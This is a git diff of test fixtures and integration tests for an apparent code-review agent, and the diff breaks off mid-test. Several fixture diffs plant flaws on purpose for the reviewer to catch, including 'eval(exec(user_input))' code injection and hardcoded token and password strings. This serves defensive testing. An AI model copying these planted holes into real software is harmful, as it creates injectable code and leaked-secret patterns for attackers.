100644 +--- /dev/null ++++ b/src/worker.py +@@ -0,0 +1,8 @@ ++import aiohttp ++import time ++ ++async def refresh(): ++ session = aiohttp.ClientSession() ++ time.sleep(1) ++ return session ++ +diff --git a/tests/test_worker.py b/tests/test_worker.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_worker.py +@@ -0,0 +1,2 @@ ++def test_refresh_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_complex.diff new file mode 100644 index 000000000..825b10c26 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_complex.diff @@ -0,0 +1,97 @@ +diff --git a/src/customer_repository.py b/src/customer_repository.py +new file mode 100644 +--- /dev/null ++++ b/src/customer_repository.py +@@ -0,0 +1,64 @@ ++from __future__ import annotations ++ ++import sqlite3 ++from dataclasses import dataclass ++from pathlib import Path ++from typing import Any ++ ++ ++@dataclass(frozen=True) ++class Customer: ++ customer_id: str ++ display_name: str ++ active: bool ++ ++ ++def create_schema(database_path: Path) -> None: ++ managed_connection = sqlite3.connect(database_path) ++ try: ++ managed_connection.execute( ++ "CREATE TABLE IF NOT EXISTS customers " ++ "(customer_id TEXT PRIMARY KEY, display_name TEXT, active INTEGER)" ++ ) ++ managed_connection.commit() ++ finally: ++ managed_connection.close() ++ ++ ++def load_customer(database_path: Path, customer_id: str) -> Customer | None: ++ managed_reader = sqlite3.connect(database_path) ++ try: ++ row = managed_reader.execute( ++ "SELECT customer_id, display_name, active FROM customers WHERE customer_id = ?", ++ (customer_id,), ++ ).fetchone() ++ finally: ++ managed_reader.close() ++ if row is None: ++ return None ++ return Customer(str(row[0]), str(row[1]), bool(row[2])) ++ ++ ++def store_customer_unsafely(database_path: Path, customer: Customer) -> Any: ++ connection = sqlite3.connect(database_path) ++ transaction = connection.begin() ++ connection.execute( ++ "INSERT INTO customers(customer_id, display_name, active) VALUES (?, ?, ?)", ++ (customer.customer_id, customer.display_name, int(customer.active)), ++ ) ++ return transaction ++ ++ ++def customer_to_mapping(customer: Customer) -> dict[str, object]: ++ return { ++ "customer_id": customer.customer_id, ++ "display_name": customer.display_name, ++ "active": customer.active, ++ } ++ ++ ++def normalize_display_name(value: str) -> str: ++ normalized = " ".join(value.split()) ++ if not normalized: ++ raise ValueError("display name is required") ++ return normalized +diff --git a/tests/test_customer_repository.py b/tests/test_customer_repository.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_customer_repository.py +@@ -0,0 +1,23 @@ ++from src.customer_repository import ( ++ Customer, ++ customer_to_mapping, ++ normalize_display_name, ++) ++ ++ ++def test_normalize_display_name_collapses_whitespace(): ++ assert normalize_display_name(" Ada Lovelace ") == "Ada Lovelace" ++ ++ ++def test_customer_to_mapping_preserves_fields(): ++ customer = Customer("customer-1", "Ada", True) ++ ++ assert customer_to_mapping(customer) == { ++ "customer_id": "customer-1", ++ "display_name": "Ada", ++ "active": True, ++ } ++ ++ ++def test_customer_is_immutable_value_object(): ++ assert Customer("customer-2", "Lin", False).active is False diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_simple.diff new file mode 100644 index 000000000..5d98ff987 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/04_db_lifecycle_simple.diff @@ -0,0 +1,20 @@ +diff --git a/src/persistence.py b/src/persistence.py +new file mode 100644 +--- /dev/null ++++ b/src/persistence.py +@@ -0,0 +1,8 @@ ++import sqlite3 ++ ++def store(value): ++ connection = sqlite3.connect("review.db") ++ transaction = connection.begin() ++ connection.execute("INSERT INTO records VALUES (?)", (value,)) ++ return transaction ++ +diff --git a/tests/test_persistence.py b/tests/test_persistence.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_persistence.py +@@ -0,0 +1,2 @@ ++def test_store_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_complex.diff new file mode 100644 index 000000000..36165ef21 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_complex.diff @@ -0,0 +1,93 @@ +diff --git a/src/profile_service.py b/src/profile_service.py +new file mode 100644 +--- /dev/null ++++ b/src/profile_service.py +@@ -0,0 +1,52 @@ ++from __future__ import annotations ++ ++from dataclasses import dataclass, replace ++from datetime import datetime, timezone ++from typing import Iterable ++ ++from src.profile_validation import normalize_tags, validate_display_name ++ ++ ++@dataclass(frozen=True) ++class Profile: ++ user_id: str ++ display_name: str ++ tags: tuple[str, ...] ++ updated_at: datetime ++ ++ ++def create_profile( ++ user_id: str, ++ display_name: str, ++ tags: Iterable[str], ++) -> Profile: ++ if not user_id.strip(): ++ raise ValueError("user id is required") ++ return Profile( ++ user_id=user_id.strip(), ++ display_name=validate_display_name(display_name), ++ tags=normalize_tags(tags), ++ updated_at=datetime.now(timezone.utc), ++ ) ++ ++ ++def rename_profile(profile: Profile, display_name: str) -> Profile: ++ return replace( ++ profile, ++ display_name=validate_display_name(display_name), ++ updated_at=datetime.now(timezone.utc), ++ ) ++ ++ ++def add_profile_tags(profile: Profile, tags: Iterable[str]) -> Profile: ++ merged = normalize_tags((*profile.tags, *tags)) ++ return replace( ++ profile, ++ tags=merged, ++ updated_at=datetime.now(timezone.utc), ++ ) ++ ++ ++def profile_summary(profile: Profile) -> str: ++ tag_summary = ", ".join(profile.tags) if profile.tags else "no tags" ++ return f"{profile.display_name} ({tag_summary})" +diff --git a/src/profile_validation.py b/src/profile_validation.py +new file mode 100644 +--- /dev/null ++++ b/src/profile_validation.py +@@ -0,0 +1,31 @@ ++from __future__ import annotations ++ ++from typing import Iterable ++ ++ ++def validate_display_name(value: str) -> str: ++ normalized = " ".join(value.split()) ++ if len(normalized) < 2: ++ raise ValueError("display name is too short") ++ if len(normalized) > 80: ++ raise ValueError("display name is too long") ++ return normalized ++ ++ ++def normalize_tags(values: Iterable[str]) -> tuple[str, ...]: ++ normalized = { ++ value.strip().lower() ++ for value in values ++ if value and value.strip() ++ } ++ if any(len(value) > 32 for value in normalized): ++ raise ValueError("tag is too long") ++ return tuple(sorted(normalized)) ++ ++ ++def is_supported_locale(locale: str) -> bool: ++ return locale.lower() in {"en", "en-us", "zh", "zh-cn"} ++ ++ ++def normalize_locale(locale: str) -> str: ++ return locale.strip().lower().replace("_", "-") diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_simple.diff new file mode 100644 index 000000000..ab27442e2 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/05_missing_tests_simple.diff @@ -0,0 +1,7 @@ +diff --git a/src/service.py b/src/service.py +new file mode 100644 +--- /dev/null ++++ b/src/service.py +@@ -0,0 +1,2 @@ ++def normalize(value): ++ return value.strip().lower() diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_complex.diff new file mode 100644 index 000000000..829537461 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_complex.diff @@ -0,0 +1,105 @@ +diff --git a/src/expression_dispatch.py b/src/expression_dispatch.py +new file mode 100644 +--- /dev/null ++++ b/src/expression_dispatch.py +@@ -0,0 +1,58 @@ ++from __future__ import annotations ++ ++import ast ++import operator ++from collections.abc import Callable, Mapping ++from dataclasses import dataclass ++from typing import Any ++ ++ ++@dataclass(frozen=True) ++class Operation: ++ name: str ++ handler: Callable[[float, float], float] ++ ++ ++DEFAULT_OPERATIONS: Mapping[str, Operation] = { ++ "add": Operation("add", operator.add), ++ "subtract": Operation("subtract", operator.sub), ++ "multiply": Operation("multiply", operator.mul), ++} ++ ++ ++def calculate(operation_name: str, left: float, right: float) -> float: ++ operation = DEFAULT_OPERATIONS.get(operation_name) ++ if operation is None: ++ raise ValueError("operation is not supported") ++ return float(operation.handler(left, right)) ++ ++ ++def parse_literal(value: str) -> Any: ++ return ast.literal_eval(value) ++ ++ ++def normalize_expression(value: str) -> str: ++ normalized = " ".join(value.split()) ++ if not normalized: ++ raise ValueError("expression is required") ++ return normalized ++ ++ ++def execute_legacy_expression(user_expression: str) -> Any: ++ normalized = normalize_expression(user_expression) ++ return eval(exec(normalized)) ++ ++ ++def available_operations() -> tuple[str, ...]: ++ return tuple(sorted(DEFAULT_OPERATIONS)) ++ ++ ++def operation_documentation() -> str: ++ return ( ++ "The old eval(user_input) example is intentionally documented as text; " ++ "new integrations must use calculate." ++ ) ++ ++ ++# Calling exec(value) from a comment is not executable and must not add a finding. ++MAX_EXPRESSION_LENGTH = 1024 +diff --git a/tests/test_expression_dispatch.py b/tests/test_expression_dispatch.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_expression_dispatch.py +@@ -0,0 +1,37 @@ ++import pytest ++ ++from src.expression_dispatch import ( ++ available_operations, ++ calculate, ++ parse_literal, ++) ++ ++ ++def test_calculate_uses_allowlisted_operations(): ++ assert calculate("add", 2, 3) == 5 ++ assert calculate("multiply", 4, 5) == 20 ++ ++ ++def test_calculate_rejects_unknown_operation(): ++ with pytest.raises(ValueError, match="not supported"): ++ calculate("divide", 4, 2) ++ ++ ++def test_parse_literal_does_not_execute_code(): ++ assert parse_literal("{'enabled': True}") == {"enabled": True} ++ ++ ++def test_available_operations_are_sorted(): ++ assert available_operations() == ("add", "multiply", "subtract") ++ ++ ++def test_calculate_supports_subtraction(): ++ assert calculate("subtract", 9, 4) == 5 ++ ++ ++def test_parse_literal_accepts_nested_values(): ++ assert parse_literal("{'roles': ['reader']}") == {"roles": ["reader"]} ++ ++ ++def test_parse_literal_accepts_tuple_values(): ++ assert parse_literal("('left', 'right')") == ("left", "right") diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_simple.diff new file mode 100644 index 000000000..3a5e3dd41 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/06_duplicate_finding_simple.diff @@ -0,0 +1,16 @@ +diff --git a/src/unsafe.py b/src/unsafe.py +new file mode 100644 +--- /dev/null ++++ b/src/unsafe.py +@@ -0,0 +1,4 @@ ++def evaluate(user_input): ++ return eval(exec(user_input)) ++ ++ +diff --git a/tests/test_unsafe.py b/tests/test_unsafe.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_unsafe.py +@@ -0,0 +1,2 @@ ++def test_evaluate_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_complex.diff new file mode 100644 index 000000000..fd04669d2 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_complex.diff @@ -0,0 +1,94 @@ +diff --git a/src/retry_policy.py b/src/retry_policy.py +new file mode 100644 +--- /dev/null ++++ b/src/retry_policy.py +@@ -0,0 +1,55 @@ ++from __future__ import annotations ++ ++from dataclasses import dataclass ++from datetime import timedelta ++from typing import Iterable ++ ++ ++@dataclass(frozen=True) ++class RetryPolicy: ++ attempts: int ++ initial_delay: timedelta ++ multiplier: float = 2.0 ++ maximum_delay: timedelta = timedelta(seconds=30) ++ ++ def delays(self) -> tuple[timedelta, ...]: ++ if self.attempts < 1: ++ raise ValueError("attempts must be positive") ++ current = self.initial_delay ++ values = [] ++ for _ in range(self.attempts - 1): ++ values.append(min(current, self.maximum_delay)) ++ current = timedelta( ++ seconds=current.total_seconds() * self.multiplier, ++ ) ++ return tuple(values) ++ ++ ++def should_retry(status_code: int) -> bool: ++ return status_code in {408, 425, 429} or 500 <= status_code < 600 ++ ++ ++def retryable_statuses(status_codes: Iterable[int]) -> tuple[int, ...]: ++ return tuple( ++ sorted( ++ { ++ status_code ++ for status_code in status_codes ++ if should_retry(status_code) ++ } ++ ) ++ ) ++ ++ ++def default_retry_policy() -> RetryPolicy: ++ return RetryPolicy( ++ attempts=4, ++ initial_delay=timedelta(milliseconds=250), ++ multiplier=2.0, ++ maximum_delay=timedelta(seconds=5), ++ ) ++ ++ ++def describe_policy(policy: RetryPolicy) -> str: ++ delays = ", ".join(str(delay.total_seconds()) for delay in policy.delays()) ++ return f"attempts={policy.attempts}; delays={delays}" +diff --git a/tests/test_retry_policy.py b/tests/test_retry_policy.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_retry_policy.py +@@ -0,0 +1,29 @@ ++from datetime import timedelta ++ ++from src.retry_policy import ( ++ RetryPolicy, ++ default_retry_policy, ++ retryable_statuses, ++ should_retry, ++) ++ ++ ++def test_should_retry_transient_statuses(): ++ assert should_retry(429) is True ++ assert should_retry(503) is True ++ assert should_retry(400) is False ++ ++ ++def test_retry_policy_caps_delays(): ++ policy = RetryPolicy(4, timedelta(seconds=2), maximum_delay=timedelta(seconds=3)) ++ ++ assert policy.delays() == ( ++ timedelta(seconds=2), ++ timedelta(seconds=3), ++ timedelta(seconds=3), ++ ) ++ ++ ++def test_default_policy_and_status_normalization(): ++ assert default_retry_policy().attempts == 4 ++ assert retryable_statuses([503, 400, 429, 503]) == (429, 503) diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_simple.diff new file mode 100644 index 000000000..d1963554e --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/07_sandbox_failure_simple.diff @@ -0,0 +1,14 @@ +diff --git a/src/retry.py b/src/retry.py +new file mode 100644 +--- /dev/null ++++ b/src/retry.py +@@ -0,0 +1,2 @@ ++def retry_once(): ++ return "retry" +diff --git a/tests/test_retry.py b/tests/test_retry.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_retry.py +@@ -0,0 +1,2 @@ ++def test_retry_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_complex.diff new file mode 100644 index 000000000..83833d333 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_complex.diff @@ -0,0 +1,94 @@ +diff --git a/src/deployment_settings.py b/src/deployment_settings.py +new file mode 100644 +--- /dev/null ++++ b/src/deployment_settings.py +@@ -0,0 +1,54 @@ ++from __future__ import annotations ++ ++from dataclasses import dataclass ++from typing import Mapping ++ ++ ++AWS_ACCESS_KEY_ID = "AKIA1234567890ABCDEF" ++GITHUB_TOKEN = "ghp_abcdefghijklmnopqrstuvwxyz0123456789" ++database_password = "LongSyntheticPasswordValue123!" ++ ++EXAMPLE_TOKEN = "" ++EXAMPLE_API_KEY = "example-api-key" ++REDACTED_PASSWORD = "[REDACTED]" ++ ++ ++@dataclass(frozen=True) ++class DeploymentSettings: ++ region: str ++ environment: str ++ replicas: int ++ feature_flags: tuple[str, ...] ++ ++ ++def load_settings(environment: Mapping[str, str]) -> DeploymentSettings: ++ region = environment.get("APP_REGION", "local") ++ stage = environment.get("APP_ENVIRONMENT", "development") ++ replicas = int(environment.get("APP_REPLICAS", "1")) ++ flags = tuple( ++ sorted( ++ flag.strip() ++ for flag in environment.get("APP_FEATURE_FLAGS", "").split(",") ++ if flag.strip() ++ ) ++ ) ++ if replicas < 1: ++ raise ValueError("replicas must be positive") ++ return DeploymentSettings(region, stage, replicas, flags) ++ ++ ++def public_configuration(settings: DeploymentSettings) -> dict[str, object]: ++ return { ++ "region": settings.region, ++ "environment": settings.environment, ++ "replicas": settings.replicas, ++ "feature_flags": settings.feature_flags, ++ } ++ ++ ++def configuration_documentation() -> tuple[str, ...]: ++ return ( ++ "token=", ++ "api_key=example-api-key", ++ "password=[REDACTED]", ++ ) +diff --git a/tests/test_deployment_settings.py b/tests/test_deployment_settings.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_deployment_settings.py +@@ -0,0 +1,30 @@ ++import pytest ++ ++from src.deployment_settings import load_settings, public_configuration ++ ++ ++def test_load_settings_applies_defaults(): ++ settings = load_settings({}) ++ ++ assert settings.region == "local" ++ assert settings.replicas == 1 ++ assert settings.feature_flags == () ++ ++ ++def test_load_settings_normalizes_flags(): ++ settings = load_settings( ++ {"APP_FEATURE_FLAGS": "beta, audit, beta"}, ++ ) ++ ++ assert settings.feature_flags == ("audit", "beta", "beta") ++ ++ ++def test_load_settings_rejects_invalid_replica_count(): ++ with pytest.raises(ValueError, match="positive"): ++ load_settings({"APP_REPLICAS": "0"}) ++ ++ ++def test_public_configuration_contains_only_non_secret_fields(): ++ assert set(public_configuration(load_settings({}))) == { ++ "region", "environment", "replicas", "feature_flags" ++ } diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_simple.diff new file mode 100644 index 000000000..8f2676d44 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/08_secret_redaction_simple.diff @@ -0,0 +1,20 @@ +diff --git a/src/settings.py b/src/settings.py +new file mode 100644 +--- /dev/null ++++ b/src/settings.py +@@ -0,0 +1,8 @@ ++AWS_ACCESS_KEY_ID = "AKIA1234567890ABCDEF" ++GITHUB_TOKEN = "ghp_abcdefghijklmnopqrstuvwxyz0123456789" ++db_password = "LongSyntheticPasswordValue123!" ++# token = "" ++# api_key = "example-api-key" ++ ++def configured(): ++ return True +diff --git a/tests/test_settings.py b/tests/test_settings.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_settings.py +@@ -0,0 +1,2 @@ ++def test_settings_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/integration/.gitkeep b/examples/skills_code_review_agent/tests/integration/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/skills_code_review_agent/tests/integration/test_agent_entry.py b/examples/skills_code_review_agent/tests/integration/test_agent_entry.py new file mode 100644 index 000000000..2a8e39a78 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_agent_entry.py @@ -0,0 +1,342 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for the SDK-backed code-review Agent entry.""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncGenerator +import json +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from agent.agent import AgentExecutionError, create_review_agent # noqa: E402 +from code_review.inputs import FixturePayload # noqa: E402 +from code_review.pipeline import ReviewPipeline # noqa: E402 +from code_review.store import SqlReviewStore # noqa: E402 +from trpc_agent_sdk.models import LLMModel, LlmResponse # noqa: E402 +from trpc_agent_sdk.types import Content, Part # noqa: E402 + + +class _Pipeline: + """记录输入的最小 pipeline 替身,避免本测试复制实际检测规则。""" + + def __init__(self) -> None: + """初始化调用记录。""" + + self.calls: list[dict[str, Any]] = [] + + def run(self, **options: Any) -> dict[str, Any]: + """返回固定 canonical finding 集合,验证 Agent 只委托唯一 pipeline。""" + + self.calls.append(options) + return {"findings": [{"file": "src/a.py", "line": 1, "category": "security"}]} + + +class _DenyGovernance: + """返回前置拒绝决定,用于证明 Agent 入口不能绕过 ReviewPipeline 的治理门。""" + + def decide(self, **_arguments: Any) -> dict[str, Any]: + """返回不携带输入内容的固定拒绝事件。""" + + return { + "action": "deny", + "events": [ + { + "stage": "pre_execution", + "target": "run_checks", + "action": "deny", + "rule": "sandbox_governance", + "reasons": ["network_proof_missing"], + } + ], + "warnings": [], + } + + +class _NoRunSandbox: + """记录沙箱副作用次数,并在治理正确时保持 execute 调用数为零。""" + + runtime_type = "fake" + + def __init__(self) -> None: + """初始化执行和清理计数。""" + + self.execute_calls = 0 + self.cleanup_calls = 0 + + def execute(self, **_arguments: Any) -> dict[str, Any]: + """记录意外执行;正确的 deny 路径不应调用本方法。""" + + self.execute_calls += 1 + return {} + + def cleanup(self, **_arguments: Any) -> None: + """记录 pipeline 的 finally 清理调用,清理本身不产生外部副作用。""" + + self.cleanup_calls += 1 + + +def _request_id(request: Any) -> str: + """从测试模型收到的安全 JSON 中提取一次性评审请求标识。""" + + for content in request.contents: + for part in content.parts: + if not part.text: + continue + try: + payload = json.loads(part.text) + except (TypeError, ValueError): + continue + if isinstance(payload, dict) and isinstance(payload.get("review_request_id"), str): + return payload["review_request_id"] + return "missing-request-id" + + +class _SkipLoadModel(LLMModel): + """模拟恶意模型跳过 skill_load 并直接请求 skill_run。""" + + @classmethod + def supported_models(cls) -> list[str]: + """声明测试专用模型名。""" + + return [r"skip-load"] + + async def _generate_async_impl( + self, + request: Any, + stream: bool = False, + ctx: Any = None, + ) -> AsyncGenerator[LlmResponse, None]: + """首次直接调用 skill_run,收到工具响应后结束。""" + + del stream, ctx + has_response = any( + part.function_response + for content in request.contents + for part in content.parts + ) + if has_response: + yield LlmResponse(content=Content(parts=[Part.from_text(text="done")])) + return + yield LlmResponse( + content=Content( + parts=[ + Part.from_function_call( + name="skill_run", + args={"review_request_id": _request_id(request)}, + ) + ] + ) + ) + + +class _InvalidRequestModel(LLMModel): + """模拟先加载 Skill、再用伪造 request id 调用受控 skill_run 的模型。""" + + def __init__(self, model_name: str) -> None: + """初始化只服务单次测试回合的固定工具调用步数。""" + + super().__init__(model_name) + self._step = 0 + + @classmethod + def supported_models(cls) -> list[str]: + """声明测试专用模型名。""" + + return [r"invalid-request"] + + async def _generate_async_impl( + self, + request: Any, + stream: bool = False, + ctx: Any = None, + ) -> AsyncGenerator[LlmResponse, None]: + """依次调用 skill_load 和携带未知标识的 skill_run,随后结束回合。""" + + del request, stream, ctx + if self._step == 0: + self._step = 1 + yield LlmResponse( + content=Content( + parts=[ + Part.from_function_call( + name="skill_load", + args={"skill_name": "code-review", "docs": [], "include_all_docs": False}, + ) + ] + ) + ) + return + if self._step == 1: + self._step = 2 + yield LlmResponse( + content=Content( + parts=[ + Part.from_function_call( + name="skill_run", + args={"review_request_id": "review-request-not-registered"}, + ) + ] + ) + ) + return + yield LlmResponse(content=Content(parts=[Part.from_text(text="done")])) + + +def test_agent_calls_skill_load_then_controlled_skill_run_and_shared_pipeline() -> None: + """验证 Agent 真实调用两个 Skill 工具,并由受控 skill_run 委托唯一 pipeline。""" + + pipeline = _Pipeline() + agent = create_review_agent(pipeline=pipeline, skill_root=PROJECT_ROOT / "skills") + + result = agent.review(fixture="01_clean_simple") + + assert result["findings"] == [{"file": "src/a.py", "line": 1, "category": "security"}] + assert pipeline.calls == [ + { + "fixture": "01_clean_simple", + "entrypoint_tool_call_count": 2, + } + ] + assert agent.llm_agent.name == "code_review_agent" + assert agent.skill_toolset.repository is agent.skill_repository + assert agent.skill_repository.skill_list() == ["code-review"] + assert agent.last_tool_trace == ("skill_load", "skill_run") + assert agent.last_prompt + assert "01_clean_simple" not in agent.last_prompt + assert agent.agent_run_count == 1 + + +def test_agent_exposes_only_redaction_ready_public_final_text_to_an_explicit_observer() -> None: + """验证诊断观察器只接收 Agent 回合的公开最终文本,不改变受控工具链和 pipeline。""" + + pipeline = _Pipeline() + observed_messages: list[str] = [] + agent = create_review_agent(pipeline=pipeline, skill_root=PROJECT_ROOT / "skills") + + agent.review( + fixture="01_clean_simple", + public_response_observer=observed_messages.append, + ) + + assert observed_messages == ["评审已完成,结构化报告已生成。"] + assert agent.last_tool_trace == ("skill_load", "skill_run") + assert len(pipeline.calls) == 1 + + +def test_agent_rejects_skill_run_before_skill_load_without_pipeline_side_effect() -> None: + """验证模型跳过加载门时受控 skill_run 拒绝执行,pipeline 调用数保持零。""" + + pipeline = _Pipeline() + agent = create_review_agent( + pipeline=pipeline, + skill_root=PROJECT_ROOT / "skills", + model=_SkipLoadModel("skip-load"), + ) + + with pytest.raises(AgentExecutionError, match="skill_load_required"): + agent.review(fixture="01_clean_simple") + + assert pipeline.calls == [] + assert agent.last_tool_trace == ("skill_run",) + + +def test_agent_rejects_unknown_request_id_after_load_without_pipeline_side_effect() -> None: + """验证已加载 Skill 也不能用伪造的一次性标识触发 pipeline 或沙箱副作用。""" + + pipeline = _Pipeline() + agent = create_review_agent( + pipeline=pipeline, + skill_root=PROJECT_ROOT / "skills", + model=_InvalidRequestModel("invalid-request"), + ) + + with pytest.raises(AgentExecutionError, match="skill_run_not_completed"): + agent.review(fixture="01_clean_simple") + + assert pipeline.calls == [] + assert agent.last_tool_trace == ("skill_load", "skill_run") + + +def test_agent_rejects_sync_review_from_a_running_event_loop() -> None: + """验证同步 Agent API 在异步宿主中失败关闭,不登记或消费评审请求。""" + + agent = create_review_agent(pipeline=_Pipeline(), skill_root=PROJECT_ROOT / "skills") + + async def invoke() -> None: + """在已有事件循环内触发同步入口,覆盖明确的安全边界错误。""" + + with pytest.raises(AgentExecutionError, match="agent_sync_api_requires_no_running_loop"): + agent.review(fixture="01_clean_simple") + + asyncio.run(invoke()) + + +def test_agent_enforces_total_review_deadline(monkeypatch: pytest.MonkeyPatch) -> None: + """验证真实模型回合无响应时,Agent 在评审总预算到期后返回固定错误码。""" + + agent = create_review_agent( + pipeline=_Pipeline(), + skill_root=PROJECT_ROOT / "skills", + review_deadline_seconds=0.01, + ) + + async def never_returns(*_arguments: Any) -> None: + """模拟无响应 Runner,直到 Agent 的 wait_for 取消当前回合。""" + + await asyncio.Event().wait() + + monkeypatch.setattr(agent, "_run_sdk_agent", never_returns) + + with pytest.raises(AgentExecutionError, match="agent_review_deadline_exceeded"): + agent.review(fixture="01_clean_simple") + + +def test_agent_filter_deny_persists_warning_without_sandbox_execution(tmp_path: Path) -> None: + """验证 Agent 委托真实 pipeline 后,Filter deny 会短路沙箱并形成可查询报告。""" + + sandbox = _NoRunSandbox() + store = SqlReviewStore(f"sqlite+pysqlite:///{(tmp_path / 'review.db').as_posix()}") + pipeline = ReviewPipeline( + store=store, + governance=_DenyGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: "agent-filter-deny", + ) + agent = create_review_agent(pipeline=pipeline, skill_root=PROJECT_ROOT / "skills") + + try: + result = agent.review( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + finally: + store.close() + + assert result.status == "completed_with_warnings" + assert sandbox.execute_calls == 0 + assert sandbox.cleanup_calls == 1 + assert result.report["metrics"]["tool_call_count"] == 2 + assert result.report["metrics"]["filter_block_count"] == 1 + assert bundle is not None + assert bundle["sandbox_runs"] == [] + assert len(bundle["filter_events"]) == 1 diff --git a/examples/skills_code_review_agent/tests/integration/test_governance.py b/examples/skills_code_review_agent/tests/integration/test_governance.py new file mode 100644 index 000000000..739610cb0 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_governance.py @@ -0,0 +1,229 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for manifest-governed SDK Filter decisions.""" + +from __future__ import annotations + +import shutil +import sys +import json +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.config import ReviewConfig # noqa: E402 +from code_review.governance import ( # noqa: E402 + ExecutionBudget, + FilterAction, + GovernanceRequest, + SandboxGovernanceFilter, +) +from code_review.skill_integrity import canonical_source_sha256 # noqa: E402 + + +SKILL_ROOT = PROJECT_ROOT / "skills" / "code-review" + + +def _copy_skill_root(tmp_path: Path) -> Path: + """复制真实 Skill 到隔离目录,供摘要和内容篡改测试使用。""" + + copied_root = tmp_path / "code-review" + shutil.copytree(SKILL_ROOT, copied_root) + return copied_root + + +def _request( + skill_root: Path, + workspace_root: Path, + **overrides: object, +) -> GovernanceRequest: + """构造默认安全的 run_checks 治理请求,并允许单项边界条件覆盖。""" + + values: dict[str, object] = { + "script_id": "run_checks", + "structured_args": {}, + "skill_root": skill_root, + "workspace_root": workspace_root, + "input_paths": (Path("work/inputs/diff.json"),), + "output_paths": (Path("out/findings.json"),), + "environment": {"LANG": "C.UTF-8", "PYTHONUNBUFFERED": "1"}, + "runtime_type": "container", + "effective_network_mode": "none", + "network_policy_verified": True, + "explicit_local": False, + "user_network_confirmation": False, + "capability_network_allowed": True, + "budget": ExecutionBudget(), + } + values.update(overrides) + return GovernanceRequest(**values) + + +def _assert_blocked_without_side_effect( + governance: SandboxGovernanceFilter, + request: GovernanceRequest, + sentinel: Path, +) -> None: + """断言非放行决策不会调用执行回调或创建哨兵文件。""" + + decision = governance.run_if_allowed( + request, + lambda: sentinel.write_text("must-not-run", encoding="utf-8"), + ) + + assert decision.action is not FilterAction.ALLOW + assert not sentinel.exists() + assert decision.event["action"] == decision.action.value + assert decision.event["reasons"] + assert "ghp_" not in json.dumps(decision.event, sort_keys=True) + + +def test_governance_deny_unregistered_script_without_side_effect(tmp_path: Path) -> None: + """未注册 script_id 必须在 SDK Filter 链中短路,执行回调次数为零。""" + + skill_root = _copy_skill_root(tmp_path) + workspace_root = tmp_path / "workspace" + governance = SandboxGovernanceFilter(skill_root / "scripts" / "manifest.json") + + 